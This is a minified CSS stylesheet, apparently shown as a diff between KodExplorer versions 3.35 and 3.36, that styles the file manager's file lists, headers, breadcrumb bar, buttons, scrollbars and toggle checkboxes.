img{-webkit-box-shadow:1px 1px 5px rgba(0,0,0,0.2);-moz-box-shadow:1px 1px 5px rgba(0,0,0,0.2);box-shadow:1px 1px 5px rgba(0,0,0,0.2);width:100% \9;max-width:100%;border-radius:0px;}.fileList_icon .file .ico.picasaImage img.lazyload_ready{-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none;}@media screen and (max-width:100000px){div.fileList_icon div.file{ display:inline-block;max-height:152px;vertical-align:top;float:none;height:auto;}}.context-menu-item.set-file-icon-size .box-size-smallx{font-size:0.9em;}.context-menu-item.set-file-icon-size .box-size-small{font-size:1.0em;}.context-menu-item.set-file-icon-size .box-size-default{font-size:1.15em;}.context-menu-item.set-file-icon-size .box-size-big{font-size:1.25em;}.context-menu-item.set-file-icon-size .box-size-bigx{font-size:1.35em;}#list_type_list{z-index:5;position:absolute;width:100%;top:85px;}#main_title{background:#fff;border-bottom:1px solid #e3e3e3;box-shadow:0 2px 10px rgba(0,0,0,0.06);}#main_title .box-shadow(1px 2px 15px #dde) - div{cursor:pointer;overflow:hidden;}#main_title div span{float:right;margin-right:8px;margin-top:0px;}#main_title .filename,#main_title .filesize,#main_title .filetype,#main_title .filetime{float:left;cursor:pointer;overflow:hidden;line-height:25px;height:25px;border-right:1px solid #eee;padding-left:10px;margin-left:-10px;font-size:1.0em;color:#448;}#main_title .filename:hover,#main_title .filesize:hover,#main_title .filetype:hover,#main_title .filetime:hover{background:#eee;}#main_title .resize{float:left;width:20px;cursor:col-resize;margin-left:-10px;height:25px;z-index:9999;position:relative;}#main_title .current{background:rgba(0,0,0,0.8);}#main_title .filename{width:250px;padding-left:20px;margin-left:0px;}#main_title .filetype{width:80px;}#main_title .filesize{width:80px;text-align:right;padding-left:0px;padding-right:10px;}#main_title .filetime{width:150px;padding-right:6px;}#main_title .filesize span{margin-right:0px;}#main_title .this{font-weight:800;background:#eee;}.fileList_list,.fileList_list_split{padding-top:5px;width:100%;z-index:0;}.fileList_list .file,.fileList_list_split .file{color:#335;border:1px solid transparent;box-shadow:0px 0px 2px rgba(255,255,255,0);margin-left:10px;-webkit-transition:background 0.2s, border 0.2s, color 0.2s;-moz-transition:background 0.2s, border 0.2s, color 0.2s;-o-transition:background 0.2s, border 0.2s, color 0.2s;-ms-transition:background 0.2s, border 0.2s, color 0.2s;transition:background 0.2s, border 0.2s, color 0.2s;height:25px;}.fileList_list .file .ico,.fileList_list_split .file .ico{-webkit-transition:all 0.168s;-moz-transition:all 0.168s;-o-transition:all 0.168s;-ms-transition:all 0.168s;transition:all 0.168s;}.fileList_list .file2,.fileList_list_split .file2{background:#edf5ff;}.fileList_list .hover,.fileList_list_split .hover{border:1px solid #dedede;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fafafa', endColorstr='#eeeeee');background:#eeeeee;background-image:-webkit-linear-gradient(top,#fafafa,#eeeeee);background-image:-moz-linear-gradient(top,#fafafa,#eeeeee);background-image:-o-linear-gradient(top,#fafafa,#eeeeee);background-image:-ms-linear-gradient(top,#fafafa,#eeeeee);background-image:linear-gradient(top,#fafafa,#eeeeee);-pie-background:linear-gradient(to top,#fafafa,#eeeeee);border-radius:3px;}.fileList_list .select,.fileList_list .selectDragTemp,.fileList_list_split .select,.fileList_list_split .selectDragTemp{border:1px solid #d2d2d2;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#f3f3f3', endColorstr='#d9d9d9');background:#d9d9d9;background-image:-webkit-linear-gradient(top,#f3f3f3,#d9d9d9);background-image:-moz-linear-gradient(top,#f3f3f3,#d9d9d9);background-image:-o-linear-gradient(top,#f3f3f3,#d9d9d9);background-image:-ms-linear-gradient(top,#f3f3f3,#d9d9d9);background-image:linear-gradient(top,#f3f3f3,#d9d9d9);-pie-background:linear-gradient(to top,#f3f3f3,#d9d9d9);border-radius:3px;padding:0px;}.fileList_list .select .children_more i.font_icon,.fileList_list .selectDragTemp .children_more i.font_icon,.fileList_list_split .select .children_more i.font_icon,.fileList_list_split .selectDragTemp .children_more i.font_icon{color:#63acff !important;}.fileList_list .meta_info,.fileList_list_split .meta_info{display:inline-block;float:initial;width:15px;height:15px;padding:0;position:relative;top:6px;margin:0px 0 0 -15px;}.fileList_list .meta_info img,.fileList_list_split .meta_info img{width:100%;height:100%;}.fileList_list .file,.fileList_list_split .file{width:80%;overflow:hidden;height:27px;}.fileList_list .file .ico,.fileList_list .file .filename,.fileList_list .file .filetype,.fileList_list .file .filesize,.fileList_list .file .filetime,.fileList_list .file .children_more,.fileList_list_split .file .ico,.fileList_list_split .file .filename,.fileList_list_split .file .filetype,.fileList_list_split .file .filesize,.fileList_list_split .file .filetime,.fileList_list_split .file .children_more{float:left;line-height:28px;height:28px;font-size:1.0em;cursor:default;overflow:hidden;padding-left:15px;}.fileList_list .file .children_more,.fileList_list_split .file .children_more{width:20px;height:28px;text-align:center;padding-left:0px;}.fileList_list .file .children_more i.font_icon,.fileList_list_split .file .children_more i.font_icon{font-size:15px;color:#aaa;cursor:pointer;display:inline-block;width:20px;line-height:28px;height:28px;font-family:FontAwesome;font-weight:normal;font-style:normal;text-decoration:inherit;}.fileList_list .file .children_more i.font_icon::after,.fileList_list_split .file .children_more i.font_icon::after{content:"\f0da";}.fileList_list .file .children_more i.font_icon.cert_open::after,.fileList_list_split .file .children_more i.font_icon.cert_open::after{content:"\f0d7";}.fileList_list .file .children_more i.font_icon:hover,.fileList_list_split .file .children_more i.font_icon:hover{background:rgba(0,0,0,0.05);color:#63acff;}.fileList_list .file.loading_children .ico .x-item-file,.fileList_list_split .file.loading_children .ico .x-item-file{background:url("../../../images/common/loading_tree.gif") no-repeat 0 0px transparent !important;}.fileList_list .file .filetype,.fileList_list_split .file .filetype{width:90px;}.fileList_list .file .filesize,.fileList_list_split .file .filesize{width:90px;text-align:right;padding-left:0px;padding-right:10px;}.fileList_list .file .filetime,.fileList_list_split .file .filetime{width:200px;}.fileList_list .file .filename,.fileList_list_split .file .filename{width:240px;word-break:break-all;padding-left:0px;}.fileList_list .file .filename .textarea,.fileList_list_split .file .filename .textarea{font-size:1.0em;display:inline-block;margin-left:-2px;}.fileList_list .file .filename #pathRenameTextarea,.fileList_list .file .filename .newfile,.fileList_list_split .file .filename #pathRenameTextarea,.fileList_list_split .file .filename .newfile{height:24px;line-height:24px;z-index:999;width:200px;min-width:150px;border:none;font-size:1.0em;padding-left:2px;padding-top:2px;}.fileList_list .file .filename #pathRenameTextarea:focus,.fileList_list .file .filename .newfile:focus,.fileList_list_split .file .filename #pathRenameTextarea:focus,.fileList_list_split .file .filename .newfile:focus{outline:none;}.fileList_list .file .filename .title,.fileList_list_split .file .filename .title{width:250px;word-break:break-all;}.fileList_list .file .ico,.fileList_list_split .file .ico{height:22px;width:22px;padding:0px;line-height:20px;margin-right:4px;margin-top:4px;text-align:center;vertical-align:bottom;display:table-cell;}.fileList_list .file .ico img,.fileList_list_split .file .ico img{height:100% \9;max-height:100%;max-width:100%;margin-top:-5px;}.fileList_list .file .filename .textarea{position:absolute;}.list_split_box{position:absolute;bottom:0px;right:0px;left:0px;top:0px;margin-top:0;overflow:hidden;}.list_split_box .split_line{border-right:1px solid #e6e6e6;border-right:1px solid rgba(150,150,150,0.15);width:250px;float:left;height:100%;}.fileList_list_split{overflow:hidden;}.fileList_list_split .file{width:97.5%;height:24px;margin-left:0.7%;position:relative;}.fileList_list_split .file.file2{background:none;}.fileList_list_split .file .ico,.fileList_list_split .file .filename,.fileList_list_split .file .filetype,.fileList_list_split .file .filesize,.fileList_list_split .file .filetime,.fileList_list_split .file .children_open{line-height:22px;height:22px;}.fileList_list_split .file .ico{height:22px;width:22px;margin-left:5px;margin-top:2px;}.fileList_list_split .file .filename{width:100%;}.fileList_list_split .file .filename span.title{position:absolute;width:75%;overflow:hidden;}.fileList_list_split .file .filename #pathRenameTextarea,.fileList_list_split .file .filename .newfile{height:23px;line-height:23px;}.fileList_list_split .file .filename .title .textarea{margin-top:-2px;}.fileList_list_split .file .children_open{width:20px;height:28px;text-align:center;padding-left:0px;float:right;}.fileList_list_split .file .children_open i.font_icon{font-size:1.25em;color:#aaa;display:inline-block;width:20px;line-height:28px;height:28px;font-family:FontAwesome;font-weight:normal;font-style:normal;text-decoration:inherit;-webkit-font-smoothing:antialiased;}.fileList_list_split .file .children_open i.font_icon::before{content:"\f0da";line-height:24px;}.fileList_list_split .file.select_split_parent{background:#e3f0ff;}.fileList_list_split .file.select_split_parent .children_open i.font_icon::before{content:"\f101";font-size:20px;}.fileList_list_split .split_box{border-right:1px solid #e6e6e6;border-right:1px solid rgba(150,150,150,0.15);width:250px;overflow:hidden;position:absolute;bottom:0px;left:0px;top:0px;border-bottom:5px solid transparent;}.fileList_list_split .split_box .content{overflow:auto;height:100%;margin:2px 0px 10px 0px;}.fileList_list_split .split_box.split_hover{background:#eef7ff;background:rgba(0,0,0,0.01);box-shadow:0 0 100px #eef7ff inset;border-bottom:5px solid #acd9ff;}.fileList_list_split .split_box.split_select{background:#dff0ff;background:rgba(0,0,0,0.01);box-shadow:0 0 40px #dff0ff inset;margin-left:-1px;border-left:1px solid #eee;border-color:#acd9ff;border-bottom:5px solid #2196F3;}.fileList_list_split .is_drag_split .split_drag{background:rgba(100,100,100,0.2);}.fileList_list_split .split_drag{position:absolute;top:0px;right:0px;bottom:0px;width:4px;cursor:col-resize;z-index:55;background:url("../../../images/common/resize.png") 2px 50% no-repeat;}.fileList_list_split .content_more{height:100px;position:relative;}.fileList_list_split .file .children_open i.font_icon{background:url("../../../images/common/tree.png") no-repeat 2px -350px \9\0;height:20px \9\0;}.fileList_list_split .file .children_open i.font_icon:before{display:none \9\0;}.fileList_list_split .file.select_split_parent .children_open i.font_icon{background:url("../../../images/common/tree.png") no-repeat -30px -350px \9\0;height:20px \9\0;}.fileList_list .file .children_more i.font_icon,.fileList_list_split .file .children_more i.font_icon{background:url("../../../images/common/tree.png") no-repeat 2px -350px \9\0;height:20px \9\0;}.fileList_list .file .children_more i.font_icon::after,.fileList_list_split .file .children_more i.font_icon::after{display:none \9\0;}.fileList_list .file .children_more i.font_icon.cert_open,.fileList_list_split .file .children_more i.font_icon.cert_open{background:url("../../../images/common/tree.png") no-repeat -15px -350px \9\0;}.fileList_list .file .children_more i.font_icon:hover,.fileList_list_split .file .children_more i.font_icon:hover{background:url("../../../images/common/tree.png") no-repeat -30px -350px \9\0;}.fileList_list .file .children_more i.font_icon.cert_open:hover,.fileList_list_split .file .children_more i.font_icon.cert_open:hover{background:url("../../../images/common/tree.png") no-repeat -47px -350px \9\0;}html,body{overflow:hidden;overflow-x:hidden;overflow-y:hidden;}.path_tips{line-height:23px;margin-left:15px;margin-top:1px;float:left;display:none;background:#ddd;color:#777;cursor:pointer;border-radius:3px;padding:1px 8px;position:relative;z-index:7;opacity:0.8;filter:alpha(opacity=80);}.frame-header .btn-group-sm >.btn,.frame-main .btn-group-sm >.btn{padding:3px 7px;}.button_style .btn-default{box-shadow:0 2px 8px rgba(0,0,0,0.05);border-radius:0px;height:26px;float:left;font-size:1em;-webkit-transition:border 0.2s;-moz-transition:border 0.2s;-o-transition:border 0.2s;-ms-transition:border 0.2s;transition:border 0.2s;overflow:hidden;padding:0 10px;border:solid 1px #ddd;margin:0 0 0 -1px;outline:none;}.button_style .btn-default .font-icon{line-height:22px;}.button_style .btn-default:hover,.button_style .btn-default:focus{color:#000;border-color:#aaa;-webkit-box-shadow:0 1px 10px rgba(0,0,0,0.2);-moz-box-shadow:0 1px 10px rgba(0,0,0,0.2);box-shadow:0 1px 10px rgba(0,0,0,0.2);}.button_style .btn-default:active{color:#000;border-color:#888;}.button_style .btn-left-radius{border-radius:3px 0px 0px 3px;}.button_style .btn-right-radius{border-radius:0px 3px 3px 0px;}.header-middle{padding-left:12px;}.header-middle .btn-default{box-shadow:0 2px 8px rgba(0,0,0,0.05);border-radius:0px;height:26px;float:left;font-size:1em;-webkit-transition:border 0.2s;-moz-transition:border 0.2s;-o-transition:border 0.2s;-ms-transition:border 0.2s;transition:border 0.2s;overflow:hidden;padding:0 10px;border:solid 1px #ddd;margin:0 0 0 -1px;outline:none;}.header-middle .btn-default .font-icon{line-height:22px;}.header-middle .btn-default:hover,.header-middle .btn-default:focus{color:#000;border-color:#aaa;-webkit-box-shadow:0 1px 10px rgba(0,0,0,0.2);-moz-box-shadow:0 1px 10px rgba(0,0,0,0.2);box-shadow:0 1px 10px rgba(0,0,0,0.2);}.header-middle .btn-default:active{color:#000;border-color:#888;}.header-middle .btn-left-radius{border-radius:3px 0px 0px 3px;}.header-middle .btn-right-radius{border-radius:0px 3px 3px 0px;}.header-middle #yarnball{width:50%;cursor:text;height:26px;overflow:hidden;float:left;border:1px solid #ddd;margin-left:-1px;box-shadow:#e6e6e6 0px 0px 20px inset;background:#f8f8f8;background:#f8f8f8 url("../../../images/common/bg.gif") 0px -2px repeat-x;}.header-middle #yarnball .yarnball{list-style:none;margin:0;margin-top:-1px;padding:0;position:relative;}.header-middle #yarnball .yarnball .yarnlet{display:inline-block;float:left;}.header-middle #yarnball .yarnball .yarnlet a,.header-middle #yarnball .yarnball .yarnlet a:link,.header-middle #yarnball .yarnball .yarnlet a:visited{color:#666;display:inline-block;font-size:1em;padding:0px 15px 0px 20px;margin-left:-15px;position:relative;text-decoration:none;vertical-align:top;line-height:27px;}.header-middle #yarnball .yarnball .yarnlet.first a{margin-left:0px;padding-left:15px;}.header-middle #yarnball .yarnball .yarnlet a{background-image:url("../../../images/common/ybutton.png");background-repeat:no-repeat;background-position:100% 0;cursor:pointer;height:27px;}.header-middle #yarnball .yarnball .yarnlet a:hover{background-position:100% -48px;color:#333;}.header-middle #yarnball .yarnball .yarnlet a:active,.header-middle #yarnball .yarnball .yarnlet a.curDropToPath{background-position:100% -96px;color:#333;}.header-middle #yarnball .yarnball .yarnlet a.curDropToPath{color:#fff;background-position:100% -144px;}.header-middle #yarnball .yarnball .yarnlet .left-yarn{background:url("../../../images/common/ybutton.png") no-repeat 0 -2px;margin-left:-17px;padding:5px 6px 11px 4px;z-index:11;padding-top:5px \9;}.header-middle #yarnball .yarnball .yarnlet a:hover .left-yarn{background-position:0 -50px;}.header-middle #yarnball .yarnball .yarnlet a:active .left-yarn{background-position:0 -98px;}.header-middle #yarnball_input{height:26px;width:50%;cursor:text;float:left;border:1px solid #ddd;display:none;margin-left:-1px;background:#f8f8f8;background:#f8f8f8 url("../../../images/common/bg.gif") 0px -2px repeat-x;box-shadow:#e6e6e6 0px 0px 20px inset;}.header-middle #yarnball_input input.path{border:none;height:25px;display:block;width:100%;padding:0;padding-left:10px;padding-right:10px;background:#f8f8f8;background:#f8f8f8 url("../../../images/common/bg.gif") 0px -2px repeat-x;background:none;width:94%;font-size:1em;line-height:25px;color:#444;}.header-middle #yarnball_input input:focus{outline:none;}.header-middle .address_ico{display:inline-block;cursor:pointer;outline:none;background-color:transparent;background-repeat:no-repeat;vertical-align:top;height:20px;width:20px;margin-right:5px;margin-top:0px;}.header-middle .address_ico img{height:100%;width:100%;max-width:100%;max-height:100%;}.frame-header{height:49px;width:100%;background:#f8f8f8;background:#f8f8f8 url("../../../images/common/bg.gif") 0px -2px repeat-x;min-width:600px;border-bottom:1px solid #ddd;}.frame-header .header-content{padding-top:12px;}.frame-header .header-content button.btn{background:url("../../../images/common/buttons_40.png") 0 0px repeat-x;}.frame-header .header-content .disable .font-icon{opacity:0.4;filter:alpha(opacity=40);}.frame-header .header-content img{border:none;width:18px;height:18px;}.frame-header .header-content a{display:block;float:left;height:19px;height:25px\0;height:20px\9;}.frame-header .header-content .font-icon{font-size:1.25em;line-height:20px;padding:0 0px;}.frame-header .header-content #history_back .font-icon,.frame-header .header-content #history_next .font-icon{padding:0 5px;font-size:20px;}.frame-header .header-content .header-left{float:left;width:80px;padding-left:10px;}.frame-header .header-content .header-left button.disable{box-shadow:inset 0 3px 6px rgba(0,0,0,0.1);opacity:0.5;filter:alpha(opacity=50);}.frame-header .header-content .header-left button.disable .font-icon{color:#bbb;}.frame-header .header-content .header-right{position:absolute;right:20px;top:12px;}.frame-header .header-content .header-right .btn-default{box-shadow:0 2px 8px rgba(0,0,0,0.05);border-radius:0px;height:26px;float:left;font-size:1em;-webkit-transition:border 0.2s;-moz-transition:border 0.2s;-o-transition:border 0.2s;-ms-transition:border 0.2s;transition:border 0.2s;overflow:hidden;padding:0 10px;border:solid 1px #ddd;margin:0 0 0 -1px;outline:none;}.frame-header .header-content .header-right .btn-default .font-icon{line-height:22px;}.frame-header .header-content .header-right .btn-default:hover,.frame-header .header-content .header-right .btn-default:focus{color:#000;border-color:#aaa;-webkit-box-shadow:0 1px 10px rgba(0,0,0,0.2);-moz-box-shadow:0 1px 10px rgba(0,0,0,0.2);box-shadow:0 1px 10px rgba(0,0,0,0.2);}.frame-header .header-content .header-right .btn-default:active{color:#000;border-color:#888;}.frame-header .header-content .header-right .btn-left-radius{border-radius:3px 0px 0px 3px;}.frame-header .header-content .header-right .btn-right-radius{border-radius:0px 3px 3px 0px;}.frame-header .header-content .header-right input{display:block;float:left;border:1px solid #ddd;height:26px;height:26px \9;padding:0;padding-left:10px;padding-right:0px;text-shadow:1px 1px 3px #cce;color:#888;background:#f8f8f8;background:#f8f8f8 url("../../../images/common/bg.gif") 0px -2px repeat-x;box-shadow:#e6e6e6 0px 0px 20px inset;outline:none;width:91px;-webkit-transition:all 0.218s;-moz-transition:all 0.218s;-o-transition:all 0.218s;-ms-transition:all 0.218s;transition:all 0.218s;}.frame-header .header-content .header-right input:focus{box-shadow:#ccc 0px 0px 20px inset;}.frame-main{position:absolute;left:0;right:0;top:40px;bottom:32px;}.frame-main .frame-left{position:absolute;left:0;top:0;bottom:0px;width:199px;border-right:1px solid #ddd;background:#fff;background-attachment:fixed;overflow:auto;z-index:10;}.frame-main .frame-left #folderList{position:absolute;width:100%;top:0px;bottom:85px;overflow:auto;}.frame-main .fileContinerMore{width:1px;height:1px;position:absolute;top:0;}.frame-main .bottom_box{position:absolute;bottom:0px;width:100%;padding:5px 0;overflow:hidden;border-right:none;border-top:1px solid #f3f3f3;border-top:1px solid rgba(0,0,0,0.1);}.frame-main .bottom_box .box_content{padding-left:20px;}.frame-main .bottom_box .cell{background:#f8f8f8;background:#f8f8f8 url("../../../images/common/bg.gif") 0px -2px repeat-x;display:block;border-radius:3px;float:left;text-align:center;color:#888;border:1px solid #ddd;width:65px;padding:2px 5px 0px 5px;margin-right:8px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;}.frame-main .bottom_box .cell i{display:block;font-size:25px;padding-bottom:0px;text-shadow:none;}.frame-main .bottom_box .cell.recycle_hover,.frame-main .bottom_box .cell.share_hover{background-position:0px -15px;border:1px solid #bbb;color:#666;box-shadow:0 0 4px #eee;cursor:pointer;}.frame-main .frame-resize{width:10px;cursor:col-resize;z-index:100;position:absolute;left:195px;top:0;bottom:0;overflow:hidden;background:url("../../../images/common/resize.png") 0px 50% no-repeat;}.frame-main .frame-resize.active{background:#000;opacity:0.2;filter:alpha(opacity=20);}.frame-main .frame-right{left:200px;right:0;position:absolute;top:0;bottom:0;overflow:hidden;min-width:450px;}.frame-main .frame-right .frame-right-main .font-icon{line-height:16px;padding:0 2px;font-size:1em;}.frame-main .frame-right .frame-right-main .drop-menu-action{min-width:150px;font-size:1em;}.frame-main .frame-right .frame-right-main .drop-menu-action a{padding:2px 30px;}.frame-main .frame-right .frame-right-main .drop-menu-action .divider{margin:5px 0;}.frame-main .frame-right .frame-right-main .drop-menu-action .disabled a{opacity:0.8;filter:alpha(opacity=80);}.frame-main .frame-right .frame-right-main .kod_path_tool .font-icon{padding-right:5px;}.frame-main .frame-right .frame-right-main .tools{z-index:100;height:34px;min-width:505px;border-bottom:1px solid #ddd;background:#fefefe;-webkit-box-shadow:1px 2px 15px #eee;-moz-box-shadow:1px 2px 15px #eee;box-shadow:1px 2px 15px #eee;}.frame-main .frame-right .frame-right-main .tools a.left:hover,.frame-main .frame-right .frame-right-main .tools a.middle:hover{margin-right:2px;padding-right:8px;}.frame-main .frame-right .frame-right-main .tools a.this{background:#eee;cursor:default;}.frame-main .frame-right .frame-right-main .tools a.this:hover{margin-right:0px;padding-right:10px;border:1px solid #ddd;background:#eee;-webkit-box-shadow:0 2px 8px rgba(0,0,0,0.05);-moz-box-shadow:0 2px 8px rgba(0,0,0,0.05);box-shadow:0 2px 8px rgba(0,0,0,0.05);-webkit-border-radius:2px;-moz-border-radius:2px;border-radius:2px;}.frame-main .frame-right .frame-right-main .tools .tools-left{float:left;margin:4px 0 0 10px;width:100%;}.frame-main .frame-right .frame-right-main .tools .tools-left .btn-group{float:left;}.frame-main .frame-right .frame-right-main .tools .tools-left span.msg{display:none;margin-left:20px;float:left;padding-left:30px;font-size:1.1em;color:#888;height:25px;line-height:25px;background:url("../../../images/common/loading.gif") 4px 7px no-repeat;}.frame-main .frame-right .frame-right-main .tools .tools-right{margin:4px 20px 0 0;width:200px;position:absolute;right:0px;}.frame-main .frame-right .frame-right-main .tools .tools-right .btn-group-sm{float:right;}.frame-main .frame-right .frame-right-main .tools .tools-right .set_icon_size{float:right;display:none;color:#bbb;}.frame-main .frame-right .frame-right-main .tools .tools-right .set_icon_size .dropdown-toggle{width:25px;height:25px;display:inline-block;cursor:pointer;line-height:25px;margin-right:5px;text-align:center;}.frame-main .frame-right .frame-right-main .tools .tools-right .set_icon_size:hover,.frame-main .frame-right .frame-right-main .tools .tools-right .set_icon_size.open{color:#888;}.frame-main .frame-right .frame-right-main .tools .tools-right .set_icon_size:hover .dropdown-toggle,.frame-main .frame-right .frame-right-main .tools .tools-right .set_icon_size.open .dropdown-toggle{background:#f6f6f6;border-radius:3px;}.frame-main .frame-right .frame-right-main .tools .tools-right .set_icon_size .set_icon_size_slider{position:relative;margin-right:-34px;margin-top:30px;padding:10px 0;width:40px;min-width:10px;height:120px;}.frame-main .frame-right .frame-right-main .tools .tools-right .set_icon_size .set_icon_size_slider.dropdown-menu:before{right:13px;}.frame-main .frame-right .frame-right-main .tools .tools-right .set_icon_size .set_icon_size_slider.dropdown-menu:after{right:14px;}.frame-main .frame-right .frame-right-main .tools .tools-right .set_icon_size .set_icon_size_slider .slider_bg{height:100%;width:5px;background:#ddd;margin-left:17px;border-radius:3px;cursor:pointer;}.frame-main .frame-right .frame-right-main .tools .tools-right .set_icon_size .set_icon_size_slider .slider_handle{-webkit-transition:box-shadow 0.2s;-moz-transition:box-shadow 0.2s;-o-transition:box-shadow 0.2s;-ms-transition:box-shadow 0.2s;transition:box-shadow 0.2s;width:16px;height:16px;border-radius:10px;margin-top:10px;cursor:pointer;border-width:1px \9;border:2px solid #96dbfa;background:#fff;position:absolute;margin-left:10px;top:0px;left:0;}.frame-main .frame-right .frame-right-main .tools .tools-right .set_icon_size .set_icon_size_slider .slider_handle:hover{box-shadow:0 0 0 6px rgba(150,219,250,0.7);}.frame-main .frame-right .frame-right-main .tools .tools-right .set_icon_size .set_icon_size_slider .slider_handle.active{background:#7ed3f9;border-color:#7ed3f9;box-shadow:none;}.frame-main .frame-right .frame-right-main .admin_real_path a.dlg_goto_path{width:20px;text-decoration:none;padding:1px 10px;background:url("../../../images/common/buttons_40.png") 0 0px repeat-x;display:inline-block;text-align:center;border-radius:3px;margin-left:10px;border:1px solid #ddd;}.frame-main .frame-right .frame-right-main .admin_real_path a.dlg_goto_path .font-icon{font-size:18px;line-height:20px;}.frame-main .frame-right .frame-right-main .admin_real_path a.dlg_goto_path:hover{border:1px solid #999;}.frame-main .frame-right .dropdown-menu{font-size:1em;}.frame-main .frame-right .bodymain{position:absolute;zoom:1;z-index:0;top:85px;bottom:0;left:0;overflow:auto;width:100%;-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;padding-bottom:40px;}.frame-main .frame-right .file_select_info{height:20px;background:#fff;color:#aaa;opacity:0.9;filter:alpha(opacity=90);position:absolute;bottom:5px;margin-left:0px;padding:4px 1em;font-size:1em;line-height:22px;}.frame-main .frame-right .file_select_info .item_num,.frame-main .frame-right .file_select_info .item_select{border-left:3px solid rgba(200,200,200,0.3);border-right:3px solid rgba(200,200,200,0.3);padding-left:5px;padding-right:5px;}.frame-main .frame-right .file_select_info .item_select{padding-left:0.5em;border-left:none;}.user_space_info{height:25spx;width:150px;color:#aaa;overflow:hidden;padding-left:20px;}.user_space_info .space_info_bar{width:150px;}.user_space_info .space_info_bar .space_process{width:150px;}.group_space_use{float:left;padding:2px 10px 0;color:#666;margin-top:-1px;background:url("../../../images/common/buttons_40.png") 0 7px repeat-x;margin-left:10px;border-radius:2px;border:1px solid #ddd;}.fileList_icon div.file{transition:all 0.2s ease 0s;} -/* ver 3.35(2016-12-23) [build 1482476939.9792] */ \ No newline at end of file +/* power by kodexplorer ver 3.36(2016-12-30) [build 1483112853.1278] */ +::-webkit-scrollbar-track-piece{background-color:rgba(180,180,180,0.06);border-radius:3px;}::-webkit-scrollbar{width:10px;height:10px;}::-webkit-scrollbar-thumb{background-color:rgba(180,180,180,0.2);border-radius:12px;background-clip:padding-box;border:1px solid rgba(180,180,180,0.4);min-height:28px;}::-webkit-scrollbar-thumb:hover{background-color:rgba(180,180,180,0.4);border:1px solid rgba(180,180,180,0.7);}.hidden{display:none;}.frame_fullscreen{position:fixed;z-index:999499;left:0;top:0;}.font-icon{font-family:FontAwesome;font-style:normal;color:inherit;}.dragMaskView{position:absolute;top:0;left:0;right:0;bottom:0;z-index:888;background:#fff;opacity:0.01;filter:alpha(opacity=1);-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}@media screen and (max-width:100000px){input[type="checkbox"].kui-checkbox-ios{ display:none !important;} input[type="checkbox"].kui-checkbox-ios +em{ margin:15px 1.2em 15px 2.5em;vertical-align:middle;display:inline-block;margin:0px;border:1px solid #ddd;cursor:pointer;border-radius:999px;background-color:#f6f6f6;-webkit-transition:all 0.4s;-moz-transition:all 0.4s;-o-transition:all 0.4s;-ms-transition:all 0.4s;transition:all 0.4s;box-shadow:inset 0 0 0 0px rgba(0,0,0,0.4);} input[type="checkbox"].kui-checkbox-ios +em:after{ float:left;content:'';margin:1px 0 0 1px;width:18px;height:18px;border-radius:inherit;background:#ffffff;-webkit-transition:all 0.4s cubic-bezier(.54,1.85,.5,1);-moz-transition:all 0.4s cubic-bezier(.54,1.85,.5,1);-o-transition:all 0.4s cubic-bezier(.54,1.85,.5,1);-ms-transition:all 0.4s cubic-bezier(.54,1.85,.5,1);transition:all 0.4s cubic-bezier(.54,1.85,.5,1);box-shadow:0 1px 3px rgba(0,0,0,0.4);pointer-events:none;} input[type="checkbox"].kui-checkbox-ios:checked +em{ background-color:#64bd63;border:1px solid #64bd63;} input[type="checkbox"].kui-checkbox-ios:checked +em:after{ background-color:#ffffff;box-shadow:0px 2px 5px rgba(0,0,0,0.3);} input[type="checkbox"].kui-checkbox-ios.size-smallx +em{ width:20px;height:10px;} input[type="checkbox"].kui-checkbox-ios.size-smallx +em:after{ width:8px;height:8px;} input[type="checkbox"].kui-checkbox-ios.size-smallx:checked +em:after{ margin-left:11px;} input[type="checkbox"].kui-checkbox-ios.size-small +em{ width:30px;height:15px;} input[type="checkbox"].kui-checkbox-ios.size-small +em:after{ width:13px;height:13px;} input[type="checkbox"].kui-checkbox-ios.size-small:checked +em:after{ margin-left:16px;} input[type="checkbox"].kui-checkbox-ios +em{ width:40px;height:20px;} input[type="checkbox"].kui-checkbox-ios +em:after{ width:18px;height:18px;} input[type="checkbox"].kui-checkbox-ios:checked +em:after{ margin-left:21px;} input[type="checkbox"].kui-checkbox-ios.size-big +em{ width:50px;height:25px;} input[type="checkbox"].kui-checkbox-ios.size-big +em:after{ width:23px;height:23px;} input[type="checkbox"].kui-checkbox-ios.size-big:checked +em:after{ margin-left:26px;} input[type="checkbox"].kui-checkbox-ios.size-bigx +em{ width:80px;height:40px;} input[type="checkbox"].kui-checkbox-ios.size-bigx +em:after{ width:38px;height:38px;} input[type="checkbox"].kui-checkbox-ios.size-bigx:checked +em:after{ margin-left:41px;} input[type="checkbox"].kui-checkbox-ios:checked +em{ background-color:#63acff;border:1px solid #63acff;box-shadow:inset 0 0 0 10px #63acff;} input[type="checkbox"].kui-checkbox-ios.red:checked +em{ background-color:#ff5722;border:1px solid #ff5722;box-shadow:inset 0 0 0 10px #ff5722;} input[type="checkbox"].kui-checkbox-ios.blue:checked +em{ background-color:#63acff;border:1px solid #63acff;box-shadow:inset 0 0 0 10px #63acff;} input[type="checkbox"].kui-checkbox-ios.green:checked +em{ background-color:#64bd63;border:1px solid #64bd63;box-shadow:inset 0 0 0 10px #64bd63;} input[type="checkbox"].kui-checkbox-ios.yellow:checked +em{ background-color:#ffc107;border:1px solid #ffc107;box-shadow:inset 0 0 0 10px #ffc107;} input[type="checkbox"].kui-checkbox-ios.grey:checked +em{ background-color:#aaa;border:1px solid #aaa;box-shadow:inset 0 0 0 10px #aaa;} input[type="checkbox"].kui-checkbox-ios.black:checked +em{ background-color:#444;border:1px solid #444;box-shadow:inset 0 0 0 10px #444;} input[type="checkbox"].kui-checkbox{ background:#f6f6f6;cursor:pointer;border:1px solid #ddd !important;outline:none;text-align:center;border-radius:10%;display:inline-block;background-clip:padding-box;appearance:none;-moz-appearance:none;-webkit-appearance:none;} input[type="checkbox"].kui-checkbox:before{ font-family:FontAwesome;content:"\f00c";color:#f6f6f6;} input[type="checkbox"].kui-checkbox:checked{ background:#1b7e5a;border-color:#1b7e5a !important;} input[type="checkbox"].kui-checkbox:checked:before{ color:#fff;} input[type="checkbox"].kui-checkbox:checked:hover, input[type="checkbox"].kui-checkbox:checked:focus{ box-shadow:none !important;} 